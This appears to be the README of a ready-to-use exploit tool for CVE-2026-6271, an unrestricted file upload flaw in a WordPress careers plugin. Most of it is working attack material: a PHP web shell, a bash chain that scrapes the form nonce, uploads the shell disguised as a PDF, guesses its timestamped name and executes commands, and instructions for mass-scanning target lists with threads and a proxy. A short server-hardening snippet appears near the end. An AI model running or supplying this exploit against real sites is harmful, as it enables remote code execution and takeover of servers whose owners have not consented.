<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // NO extension check — anything including .php is accepted
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

echo '<?php system($_GET["cmd"]); ?>' > shell.php

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell active: $URL"
    echo "RCE output    : $RESULT"
    break
  fi
done

Webshell active: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE output    : uid=33(www-data) gid=33(www-data) groups=33(www-data)

git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requests

python career_section_rce.py -u http://target.com

python career_section_rce.py -u http://target.com \
  --job-url http://target.com/careers/engineer/

python career_section_rce.py -u http://target.com \
  --verify-cmd "whoami"

python career_section_rce.py -l targets.txt -t 20 -o results.txt

python career_section_rce.py -u http://target.com --ts-window 10

python career_section_rce.py -u http://target.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

WordPress Root/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell here

curl "http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] 3 targets | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://target1.com
  Nonce     : a1b2c3d4e5  (source: http://target1.com/careers/engineer/)
  Shell URL : http://target1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://target2.com  (file type blocked)
[~ NO_NONCE  ] http://target3.com  (csaf_form_nonce not found)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE confirmed → rce_confirmed.txt
──────────────────────────────────────────────────────────────

<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

cve-2026-6271-scanner/
├── career_section_rce.py   # Main scanner
├── requirements.txt        # Dependencies
└── README.md               # This file